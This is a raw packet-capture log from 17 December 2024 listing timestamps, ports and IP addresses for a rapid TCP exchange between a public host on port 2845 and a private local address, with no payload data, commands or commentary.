Dec 17, 2024 12:13:42.036269903 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.036410093 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.036458015 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.038244963 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.038347960 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.038395882 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.040191889 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.040282011 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.040333986 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.042148113 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.042279005 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.042330980 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.044136047 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.044277906 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.044325113 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.046097994 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.046225071 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.046273947 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.048259974 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.048270941 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.048311949 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.050023079 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.050112009 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.050158024 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.051960945 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.052063942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.052113056 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.053944111 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.054056883 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.054105997 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.055990934 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.056088924 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.056135893 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.057874918 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.057887077 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.057935953 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.061043024 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.061069965 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.061117887 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.062484026 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.062635899 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.062685966 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.063918114 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.064102888 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.064151049 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.066397905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.066410065 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.066450119 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.067677021 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.067761898 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.067809105 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.069865942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.069879055 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.069931030 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.071551085 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.071671009 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.071710110 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.074201107 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.074213028 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.074265957 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.075485945 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.076016903 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.076064110 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.078090906 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.078103065 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.078155994 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.079895973 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.079906940 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.079958916 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.082441092 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.082453012 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.082504988 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.083831072 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.083841085 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.083882093 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.169265032 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.169384003 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.169446945 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.170201063 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.170254946 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.170305967 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.172190905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.172338963 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.172386885 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.174273014 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.174285889 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.174333096 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.176306963 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.176434040 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.176486015 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.178661108 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.178787947 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.178843021 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.180660009 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.180671930 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.180718899 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.182120085 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.182173014 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.182220936 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.184037924 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.184137106 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.184178114 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.185625076 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.185772896 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.185825109 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.187381983 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.187477112 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.187522888 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.189136028 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.189218998 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.189263105 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.190924883 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.191018105 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.191066980 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.192542076 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.192614079 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.192655087 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.194205046 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.194283962 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.194328070 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.195772886 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.195924997 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.195974112 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.197448969 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.197541952 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.197587967 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.198919058 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.199038029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.199083090 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.200464010 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.200576067 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.200618029 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.201998949 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.202023029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.202068090 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.203515053 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.203571081 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.203612089 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.205116034 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.205203056 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.205248117 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.206513882 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.206568956 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.206614971 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.207986116 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.208092928 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.208138943 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.209450006 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.209575891 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.209625006 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.211018085 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.211030960 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.211083889 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.212394953 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.212522984 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.212573051 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.213797092 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.213931084 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.213973045 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.215276957 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.215387106 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.215435028 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.216708899 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.216784000 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.216834068 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.218187094 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.218338013 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.218383074 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.219666004 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.219769955 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.219811916 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.221235037 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.221375942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.221416950 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.222882986 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.222975016 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.223007917 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.224076986 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.224153042 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.224196911 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.225514889 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.225545883 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.225584984 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.226919889 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.227020979 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.227061987 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.228384018 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.228476048 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.228519917 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.229832888 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.229958057 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.230000019 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.231343031 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.231409073 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.231456995 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.232811928 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.232913017 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.232954025 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.234205008 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.234323025 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.234365940 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.235644102 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.235758066 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.235799074 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.237196922 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.237298012 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.237343073 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.238570929 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.238676071 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.238718987 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.240026951 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.240242958 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.240286112 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.241523027 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.241607904 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.241647005 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.242949009 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.243103027 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.243158102 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.244417906 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.244522095 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.244565010 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.245878935 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.245929003 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.245968103 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.247374058 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.247504950 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.247548103 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.361418962 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.361574888 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.361644983 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.362030029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.362109900 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.362159967 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.363217115 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.363332987 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.363379002 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.364480019 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.364613056 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.364656925 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.365591049 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.365699053 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.365753889 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.366796017 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.366926908 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.366971016 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.367961884 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.368151903 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.368202925 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.369129896 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.369242907 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.369292974 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.370244026 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.370347023 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.370394945 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.371387959 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.371491909 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.371532917 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.372545004 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.372638941 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.372685909 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.373621941 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.373737097 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.373785019 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.374789953 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.374891996 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.374931097 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.375941992 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.376059055 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.376105070 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.377043962 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.377146006 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.377193928 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.378174067 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.378281116 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.378330946 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.379292965 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.379344940 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.379393101 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.380430937 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.380559921 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.380608082 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.381633043 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.382286072 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.382339954 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.382910967 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.383229971 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.383299112 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.384144068 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.384232044 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.384275913 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.385030985 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.385171890 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.385216951 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.386120081 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.386226892 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.386271954 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.387253046 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.387351990 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.387402058 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.388350010 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.388453960 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.388490915 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.389507055 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.389605045 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.389650106 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.390615940 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.390719891 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.390765905 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.391752005 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.391855955 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.391900063 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.392864943 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.392987013 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.393028975 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.394181013 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.394360065 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.394402981 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.395124912 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.395255089 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.395302057 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.396292925 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.396307945 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.396351099 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.397408962 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.397494078 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.397531033 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.398561954 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.398678064 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.398721933 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.399713993 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.399725914 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.399774075 CET	49976	2845	192.168.2.5	104.161.43.18
